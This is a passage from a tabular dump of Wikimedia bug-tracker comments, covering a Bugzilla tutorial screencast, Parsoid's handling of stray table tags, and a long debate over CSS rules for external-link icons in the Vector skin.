+http://lists.wikimedia.org/pipermail/wikitech-l/2013-October/072786.html",,,1383585826,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-gmswkf7wwjtivxzlq3hb,task_subcomment,,True,c1,3,True,,,18,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,0,1,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,1
+259054,Make tutorial video on how to use Bugzilla,"(In reply to comment #10)
+> https://bugzilla.wikimedia.org/enter_bug.cgi?product=VisualEditor&format=guided
+
+That is REALLY nice!!  You should post that guided form to wikitech-l, I am sure other components could make use of a similar form.",,,1383574738,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-gmswkf7wwjtivxzlq3hb,task_subcomment,,True,c1,3,True,,,18,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,1,1,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,1
+259050,Make tutorial video on how to use Bugzilla,"The guided form is now ready (i.e. https://bugzilla.wikimedia.org/enter_bug.cgi?product=VisualEditor&format=guided ), and I'd really love to have a screencast about it!",,,1383570076,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-gmswkf7wwjtivxzlq3hb,task_subcomment,,True,c1,3,False,,,18,,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,1,0,0,0,1,1,0,0,0,0,1,1,0,1,0,0,0,0,1
+259048,Make tutorial video on how to use Bugzilla,"Note that there are also bugzilla.mozilla.org thoughts on having video tutorials for specific Bugzilla topics: https://bmo.etherpad.mozilla.org/bugzilla-tips-videos
+I don't know how much upstream this would be though.",,,1381787304,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-gmswkf7wwjtivxzlq3hb,task_subcomment,,True,c1,3,True,,,15,,1,0,0,0,1,1,0,0,1,0,0,1,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,1,0,0,1
+259043,Make tutorial video on how to use Bugzilla,"Currently I'd use the normal form with ""Hide Advanced Fields"" enabled, and either MediaWiki or Wikimedia product, plus component ""General/Unknown"".",,,1381763815,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-gmswkf7wwjtivxzlq3hb,task_subcomment,,True,c1,3,True,,,15,,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,0,0,0,0,0,0
+259040,Make tutorial video on how to use Bugzilla,Guided form (bug 36762) is still under development and not deployed - this week was too busy with reallife but will try to get it into shape next week.,,,1381503809,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-gmswkf7wwjtivxzlq3hb,task_subcomment,,True,c1,3,True,,,14,,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+259037,Make tutorial video on how to use Bugzilla,"Well, yes, a video screencast.
+
+What I'm asking is whether we should do it using the plain Bugzilla interface or the guided form.",,,1381468109,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-gmswkf7wwjtivxzlq3hb,task_subcomment,,True,c1,3,False,,,14,,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,0,1,0,0,0,1,0,1,1,0,1,0,0,0
+259033,Make tutorial video on how to use Bugzilla,"(In reply to comment #4)
+> What interface should we use for this screencast? The traditional or this new
+> one Andre is cooking up?
+
+I'd assumed you'd create a video in .ogv format.
+
+A paginated PDF is also an option.",,,1381459718,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-gmswkf7wwjtivxzlq3hb,task_subcomment,,True,c1,3,False,,,14,,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,1
+259026,Make tutorial video on how to use Bugzilla,"What interface should we use for this screencast? The traditional or this new one Andre is cooking up?
+
+I have started defining a rough script at https://www.mediawiki.org/wiki/Talk:How_to_report_a_bug#Screencast",,,1381444276,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-gmswkf7wwjtivxzlq3hb,task_subcomment,,True,c1,3,False,,,14,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,1,1,1,0,1,0,0,0
+259022,Make tutorial video on how to use Bugzilla,"For the records (and inspiration), the only pretty good (and partially Mozilla-centric) video I am aware of is http://blog.johnath.com/2010/02/04/bugzilla-for-humans/",,,1380150692,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-gmswkf7wwjtivxzlq3hb,task_subcomment,,True,c1,3,True,,,12,,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0
+259019,Make tutorial video on how to use Bugzilla,"A screencast showing the shortest path to file a bug report should do. I haven't done a screencast in ages but I will try tomorrow, with the hope that someone hates what I did and produces something better.  :)
+
+In fact this could be start of something. We could have more short screencasts focusing on a specific action (advanced search, comment on a bug...) and extend the idea to other tools (get developer access, comment on Gerrit...). These short videos could be easily embedded in the right wiki pages and...
+
+But let me try with this File Your First Bug screencast first.  :)",,,1380145913,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-gmswkf7wwjtivxzlq3hb,task_subcomment,,True,c1,3,False,,,12,,0,1,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,1,1,1,0,0,1,0,0,0,1,1,1,1,1,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,1,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,1,1,1,0
+259015,Make tutorial video on how to use Bugzilla,"Maybe Victor / some designers / whoever, can produce nice video intro and outro :)",,,1380143726,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-gmswkf7wwjtivxzlq3hb,task_subcomment,,True,c1,3,True,,,12,,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0
+56605,Improve handling of stray table tags / Verify that we handle stray table tags correctly,"Occasionally, pages have stray opening table tags which may end up screwing up DSR computations (which in turns messes up selser). It is possible that our latest foster parenting code implicitly handles this by wrapping the entire table as templated and protected a large body of code (which could then serve as a flag to the user to look for bugs in the wikitext souce). So, it might be worth verifying this and adding tests to spec this behavior.
+
+See the bug report: https://en.wikipedia.org/w/index.php?title=Wikipedia:VisualEditor/Feedback&oldid=574391235#Duplicated_content_when_deleting_apparently_blank_lines
+
+See my response that fixed the problem in the wikitext source: https://en.wikipedia.org/w/index.php?title=Wikipedia:VisualEditor/Feedback&oldid=574483272#References_and_tables
+
+If this is not already handled by our handleUnbalancedTables and markFosteredContent DOM passes, we may need to tackle this -- by maybe adding a fixup in TokenStreamPatcher that enforces limited table scope (section boundaries is the obvious scope limiter => close unclosed tables whenever section heading tokens are encountered).
+
+To be investigated and fixed.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1380128640,1592505284.0,PHID-USER-slccyo5rqasgpljxny7g,False,PHID-USER-slccyo5rqasgpljxny7g,False,PHID-TASK-s52vfnr5655l5mcn3ccw,task_description,resolved,True,c1,3,True,True,False,12,,0,0,0,1,1,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,1,0,1,1,1,1,1,0,0,1,0,0,0,0,0,1,0,1,0,1,0,1,1,1,1,0,1,0,1,1,0,0,0,1,0,0,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,1,0,1,1
+1528288,Improve handling of stray table tags / Verify that we handle stray table tags correctly,"We have made a bunch of fixes over the years. Since then, we also have wikitext linting that flags brokenness (fostering, missing end tags) which cover some of these cases. I don't think we should clutter the Parsoid code base trying to make sense of obviously broken markup. So, I am going to close this as resolved.",,,1592505284,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-s52vfnr5655l5mcn3ccw,task_subcomment,,True,c1,3,True,,,363,,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,1,0,0,0,0,0,0,0,1,1,1,0,0,0,0,1,0,1,0,0,0,1,0,0,1,0,0,1,0,1,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+258990,Improve handling of stray table tags / Verify that we handle stray table tags correctly,"(In reply to comment #0)
+> Occasionally, pages have stray opening table tags which may end up screwing
+> up
+> DSR computations (which in turns messes up selser). It is possible that our
+> latest foster parenting code implicitly handles this by wrapping the entire
+> table as templated and protected a large body of code (which could then serve
+> as a flag to the user to look for bugs in the wikitext souce). So, it might
+> be
+> worth verifying this and adding tests to spec this behavior.
+
+That seems to happen if a template is present, as in:
+
+  {|
+
+  {{echo|hi}}
+
+  ;Ho
+
+However, that's not the case in the bug report. It's more like,
+
+  {|
+
+  ;Off to work we go
+
+
+> 
+> See the bug report:
+> https://en.wikipedia.org/w/index.php?title=Wikipedia:VisualEditor/
+> Feedback&oldid=574391235#Duplicated_content_when_deleting_apparently_blank_li
+> nes
+> 
+> See my response that fixed the problem in the wikitext source:
+> https://en.wikipedia.org/w/index.php?title=Wikipedia:VisualEditor/
+> Feedback&oldid=574483272#References_and_tables
+> 
+> If this is not already handled by our handleUnbalancedTables and
+> markFosteredContent DOM passes, we may need to tackle this -- by maybe
+> adding a
+> fixup in TokenStreamPatcher that enforces limited table scope (section
+> boundaries is the obvious scope limiter => close unclosed tables whenever
+> section heading tokens are encountered).
+
+Seems reasonable.
+
+> 
+> To be investigated and fixed.",,,1380840132,,PHID-USER-gxcjmjpejlhfnrquksm2,False,,,PHID-TASK-s52vfnr5655l5mcn3ccw,task_subcomment,,True,c1,3,True,,,13,,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,1,0,1,1,1,1,1,0,1,1,1,0,0,0,0,1,0,1,0,1,0,1,1,1,1,1,1,0,1,1,0,0,0,1,0,0,1,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1
+56604,Large number of CSS rules for external links,"Assigning to Parser as I suspect this is what would need to be fixed up to support this.
+
+This patch [1] demonstrates the large number of rules exist for external links:
+
+The browser matches styles from right to left, so the rightmost selector is really important.
+
+We shouldn't need to have to resort to CSS rules in the form div#content a.external[href ^=""https://""] - a link with class external should also have a class describing what type of external link it is if it is necessary. These selectors are less efficient and are not supported by older browsers.
+
+Ideally we should simply these rules to become something like:
+
+.link-audio,
+.link-video,
+.link-document,
+.link-irc,
+.link-ftp,
+.link-https,
+.link-news,
+.link-mailto {
+padding-right: 13px;
+background: transparent center right no-repeat;
+}
+
+with rules for each of them for their correct icon.
+
+[1] https://gerrit.wikimedia.org/r/#/c/85920/2/skins/vector/externalLinks.less
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=63725
+https://bugzilla.wikimedia.org/show_bug.cgi?id=63521",Medium,50.0,1380128040,1418744455.0,PHID-USER-5dwuaigmkz2vzg65lape,False,PHID-USER-wkpnidxoctuhawexig5p,False,PHID-TASK-a4ziafykxquhrim4wrm3,task_description,resolved,True,c1,3,False,False,False,12,,1,1,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,1,1,1,0,1
+343057,Large number of CSS rules for external links,"Sigh.
+I'm frustrated by the removal of icons that were useful.",,,1418760677,,PHID-USER-hphmqcx66p6d6gvmjzp7,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,False,,,76,,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0
+342907,Large number of CSS rules for external links,Meh.,,,1418744473,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,True,,,76,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+258956,Large number of CSS rules for external links,"PDF: To clarify this, the icon was always a generic document. On the English Wikipedia it uses an Adobe icon through Common.css.
+
+The Typography Refresh removed the other icons in Vector. HTTPS icons were removed per Bug 61178.
+
+So currently on the English Wikipedia we have the external link icon and the Adobe icon. Both are meaningless to our visually impaired readers since none of the icons have alt text; see Bug 45891.
+
+Since many documents are now produced by dynamic web pages, they do not have the file extension that the CSS rules trigger on, thus those documents will show the simple external link icon.
+
+Bottom line: How useful are the icons? Is there any other project using icons in this manner?",,,1413544350,,PHID-USER-zqde3skdzpqiwny4dxt4,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,False,,,67,,1,0,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,0,1,0,1,0,0,0,0,1,1,1,1,1,0,0,0,0,1,1,0,1,1,1,1,1,1,0,0,1,1,1,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,0
+258953,Large number of CSS rules for external links,"1) As I said in comment #6 - the mailto, irc, audio/video, and pdf icons are frequently useful for:
+* Readers to have ""principle of least astonishment"" when clicking on links which often have a non-typical-navigation result.
+* Editors to see that an unusual link has been used/added, which might warrant further investigation.
+
+2) Our internal Pronunciation links all have an icon added automatically: e.g. https://en.wikipedia.org/wiki/Template:Pronunciation and https://en.wikipedia.org/wiki/Template:IPA - e.g. at [[Götterdämmerung]]
+
+Then, 2 similar ""bits of information - a difference that makes a difference"" that any of our users might appreciate.
+
+3) we have a request from the Internet Archive to add icons to their links: #1 at https://www.mediawiki.org/wiki/Archived_Pages#Implementation_ideas (mentioned at https://lists.wikimedia.org/pipermail/design/2013-October/001065.html )
+
+4) we have a request from the community, (and I believe connected to The Wikipedia Library), to add icons that denote Open-Access resources: https://en.wikipedia.org/wiki/Wikipedia:WikiProject_Open_Access/Signalling_OA-ness
+
+For all of these reasons, I hope we can re-instate these icons in Vector. 
+The patch to do so is currently -2'd based on lack of apparent consensus (https://gerrit.wikimedia.org/r/#/c/154350/). 
+I've also left a comment (the first...) at [[Help talk:External link icons]]. 
+Comments here or there, with additional rationales for supporting or opposing the re-instatement (for use-case or technical or other reasons) would be appreciated.",,,1413530059,,PHID-USER-hphmqcx66p6d6gvmjzp7,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,False,,,67,,1,0,0,1,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,1,1,1,0,1,0,1,0,0,0,1,1,1,0,1,1,0,0,1,0,1,1,0,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,1,1
+258951,Large number of CSS rules for external links,"(In reply to Bartosz Dziewoński from comment #81)
+> So the general agreement is that it was good in the beginning and the change
+> above was a bad idea.
+
+I don't know how you have determined this from the above. Please give me the precise quotes you are attributing to.
+
+All I see is agreement that we shouldn't use classes and should use an approach such as [href^=""https://""]
+
+Whether they are a good idea is another question.
+I wouldn't want them on my local wiki for example.",,,1409175468,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,False,,,60,,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,1,0,0,1,0,0,1,0,1,0,1,1,1,1,1,0,0,1,1,0,1,0,1,0,1,1,0,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,1,0,1,1,1,1,1,1,0,0,1
+258949,Large number of CSS rules for external links,"Change 154350 had a related patch set uploaded by Bartosz Dziewoński:
+Restore external links icons
+
+https://gerrit.wikimedia.org/r/154350",,,1408142652,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,False,,,58,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+258947,Large number of CSS rules for external links,"So the general agreement is that it was good in the beginning and the change above was a bad idea. In other words, we should revert https://gerrit.wikimedia.org/r/#/c/123817/ in the Vector skin.
+
+(Also, moving this to the Vector component, since the only changes that were implemented and the entire discussion involved only that skin.)",,,1408140797,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,True,,,58,,0,0,0,1,0,1,1,0,0,0,1,0,0,1,0,1,0,1,1,0,0,1,1,0,1,0,0,1,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,1,0,1,0,1,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0
+258945,Large number of CSS rules for external links,"Change 141973 abandoned by Bartosz Dziewoński:
+Linker: Add CSS classes to external links to some protocols/filetypes
+
+Reason:
+Right.
+
+https://gerrit.wikimedia.org/r/141973",,,1408140617,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,False,,,58,,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,1,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+258942,Large number of CSS rules for external links,"(In reply to Jon from comment #77)
+> Isarra. What was the motivation for putting them in in the first place?
+
+Given that this was orginally added in 2004, I couldn't say. I can, however, point you to comment #3 and comment #6, which detail specific reasons for keeping them in now.
+
+> Putting styles in both core and common.css that do the same thing is a
+> terrible terrible terrible thing and we should at least resolve that problem
+> at the same time. The fact those rules exist there show MediaWiki was not
+> serving there purpose and they were /not/ useful.
+
+As I said, the English Wikipedia is not the only project that uses this software. What they do doesn't necessarily apply to other projects, especially when we don't even know why they did what they did.
+
+> Currently each project as complete free reign to add these icons in
+> common.css if they want to. I truly don't see the value in them being here.
+
+Each project is free to write their entire skin css in common.css if they want to. Doesn't mean they should have to do that either.",,,1404409477,,PHID-USER-nv2bu7uh3huvidyjo4lk,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,False,,,52,,1,0,0,1,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,0,1,0,0,0,1,0,0,1,1,0,1,1,0,1,1,1,0,1,1,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,1,1,0,1,0,1,1,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,1,1,1,0,1,1
+258939,Large number of CSS rules for external links,"(In reply to Jon from comment #77)
+> PS. How can I remove myself from this bug. Since I'm the creator, it doesn't
+> seem possible.
+
+Sorry, only available in next version: https://bugzilla.mozilla.org/show_bug.cgi?id=148564 - For the time being, custom filters / thread muting.",,,1404409227,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,True,,,52,,0,0,0,0,1,1,0,0,0,0,1,1,0,1,0,1,0,1,1,0,0,0,1,0,0,0,0,0,1,0,1,1,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,1,1,0,1,1,0,0,1
+258935,Large number of CSS rules for external links,"Isarra. What was the motivation for putting them in in the first place?
+
+Putting styles in both core and common.css that do the same thing is a terrible terrible terrible thing and we should at least resolve that problem at the same time. The fact those rules exist there show MediaWiki was not serving there purpose and they were /not/ useful.
+
+Currently each project as complete free reign to add these icons in common.css if they want to. I truly don't see the value in them being here.
+
+Isarra making use of icons is not the same as those icons giving value.
+
+PS. How can I remove myself from this bug. Since I'm the creator, it doesn't seem possible. @Andre.. ?",,,1404407556,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,False,,,52,,1,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,1,0,1,0,0,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,1,1,0,1,1,1,1,0,1,1
+258928,Large number of CSS rules for external links,"(In reply to Jon from comment #75)
+> The icons for audio, video etc have been gone for some time without any
+> complaints that I am aware of. Maybe because a lot of these styles are
+> implemented in MediaWiki:Common.css
+
+Yes, nobody noticing would make it more difficult for anyone to complain about it.
+
+> Let's not re-instate these classes and CSS rules. The status quo is
+> currently fine. Let's not add back css rules for the sake of adding back css
+> rules. I feel like we are wasting far too much energy on this bug.
+
+MediaWiki serves more than just the English Wikipedia. While the icons often do serve little purpose on individual projects, many other projects do indeed make use of these icons, especially third-party technical projects which will not have seen that change at all due to generally being on stable releases (1.19, 1.22, 1.23 etc). This is not adding back css rules for the sake of adding them back, this is adding them back with a reasoned technical discussion about how best to do so considering the current technology, with the understanding that projects do use them, that there are real-life use cases speaking to their usefulness, and that there was no consensus to remove them in the first place.",,,1404403168,,PHID-USER-nv2bu7uh3huvidyjo4lk,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,False,,,52,,1,1,0,1,1,1,1,1,0,0,1,1,0,0,1,1,1,1,1,1,1,0,1,0,1,1,0,1,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,0,1,1,0,1,1,1,1,0,1,1,0,0,1,1,0,0,1,0,0,1,1,1,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,0,1,1,1,1,1,1,1
+258923,Large number of CSS rules for external links,"The icons for audio, video etc have been gone for some time without any complaints that I am aware of. Maybe because a lot of these styles are implemented in MediaWiki:Common.css
+
+Let's not re-instate these classes and CSS rules. The status quo is currently fine. Let's not add back css rules for the sake of adding back css rules. I feel like we are wasting far too much energy on this bug.",,,1404401835,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,False,,,52,,1,0,0,1,1,1,1,1,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,1,1,0,0,1,0,1,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+258918,Large number of CSS rules for external links,"Phew .. long discussion. I could have gone either way (selectors or css classes) till I hit Gabriel and Roan's comments and now Krinkle's about client burden and code duplication to support classes/attributes. If there were no alternatives and this were the spec, of course, all clients would have to implement it, but given that there are no serious drawbacks to picking selectors over classes, I too think that it is a better idea to use css for icon-styling of links.",,,1404399874,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,True,,,52,,1,0,0,0,0,1,1,0,0,1,0,1,0,0,1,1,0,1,1,0,1,0,0,0,1,1,0,0,1,1,0,1,1,1,1,0,0,0,0,0,1,0,1,1,0,0,0,0,1,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,1,0,0
+258911,Large number of CSS rules for external links,"(In reply to Bartosz Dziewoński from comment #54)
+> (In reply to Gabriel Wicke from comment #52)
+> > Do we have actual measurements that verify that this benefits total page
+> > view performance in practice?
+> 
+> We don't. Jon provided some funky tool in comment 11 but I've been unable to
+> get it to work. Krinkle provided a theoretical explanation on why this
+> should make a difference in comment 10.
+
+The performance impact is quite negligible actually. I'd rather let browsers worry about that. This shouldn't be a main driving factor in this case because it is too insignificant. My main point there was maintenance overhead:
+
+(Citing comment #10 from Krinkle)
+> * Hardcodes details that (other) stylesheets should not have to know or hardcode, thus causing maintenance issues (e.g. the fact that it is an <a>, and is inside #bodyContent. The container can change, and links might be wrapped for presentational reasons)
+
+This would be mitigated by using a selector like:
+
+.mw-body-content a[href^=""https://""] {}
+
+This doesn't have the added weight of an ID selector (#bodyContent) and is quite minimal and straight forward.
+ 
+
+(In reply to Gabriel Wicke from comment #62)
+> (In reply to Daniel Friesen from comment #61)
+> > What if we ""don't"" want an icon?
+> 
+> The .plainlinks class was normally used to mark this up, and applied to all
+> links inside a content block. How does this work with classes on each link?
+
+That is indeed an important one to remember. Let's make sure we're compatible with that.
+
+(In reply to Gabriel Wicke from comment #69)
+> One issue I didn't mention yet is editor complexity. Every editor for our
+> HTML including VE will need to replicate the class logic from the parser.
+> This includes future micro-contribution tools like 'fix this link'. It seems
+> likely that this will lead to rendering inconsistencies when the logic
+> replication is not perfect.
+
+I agree. Adding all these classes to the Parser will inflate Parser output with information that can trivially be derived from the href attribute, doesn't really provide value to customers of the HTML (other than saving a few characters in stylesheet), and adds more or less random complexity to other producers of HTML such as VisualEditor content editable preview nodes and Parsoid. All the information about the url is right in the href. I think keeping classes like these out of page HTML would be optimal for maintenance overall:
+
